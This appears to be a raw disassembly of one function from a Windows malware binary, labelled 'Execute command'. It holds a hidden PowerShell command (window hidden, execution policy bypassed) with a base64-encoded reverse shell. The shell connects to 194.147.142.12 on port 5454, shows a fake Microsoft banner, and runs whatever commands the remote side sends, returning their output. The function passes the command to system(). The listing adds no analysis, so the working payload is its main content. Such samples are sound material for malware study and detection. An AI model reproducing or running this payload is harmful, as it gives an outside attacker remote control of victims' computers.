Function at 0x140001180
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0xf
mov ecx, 0x680
call fcn.140001590
mov rbx, rax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0x67e
mov qword [rsp + 0x38], 0x67f
mov rcx, rax
lea rdx, str.powershell__nop__W_hidden__noni__ep_bypass__e_JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAIgAxADkANAAuADEANAA3AC4AMQA0ADIALgAxADIAIgAsADUANAA1ADQAKQA7ACQASQAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABVACAAPQAgADAALgAuACgAMgAtAHMAaABsADEANQApAHwAJQB7ADAAfQA7ACQAVQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACIAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAyADEAIABNAGkAYwByAG8AcwBvAGYAdAAgAEMAbwByAHAAbwByAGEAdABpAG8AbgAuACAAQQBsAGwAIAByAGkAZwBoAHQAcwAgAHIAZQBzAGUAcgB2AGUAZAAuAGAAbgBgAG4AIgApADsAJABJAC4AVwByAGkAdABlACgAJABVACwAMAAsACQAVQAuAEwAZQBuAGcAdABoACkAOwAkAFUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAoAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuACkALgBQAGEAdABoACAAKwAgACcAPgAnACkAOwAkAEkALgBXAHIAaQB0AGUAKAAkAFUALAAwACwAJABVAC4ATABlAG4AZwB0AGgAKQA7AHcAaABpAGwAZQAoACgAJABrACAAPQAgACQASQAuAFIAZQBhAGQAKAAkAFUALAAgADAALAAgACQAVQAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAEQAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AVQBUAEYAOABFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABVACwAMAAsACAAJABrACkAOwAkAGEAIAA9ACAAKABpAGUAeAAgACQARAAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHIAIAAgAD0AIAAkAGEAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABtACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJAByACkAOwAkAEkALgBXAHIAaQB0AGUAKAAkAG0ALAAwACwAJABtAC4ATABlAG4AZwB0AGgAKQA7ACQASQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA
mov r8d, 0x67e
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0x67e], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
lea rdx, str._______________________.
je 0x140001211
lea rdx, str.__________________.
call fcn.1400012e0
lea rdx, [0x1400014b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140001267
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001262
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001262
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400015cc
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001570
add rsp, 0x50
pop rbx
ret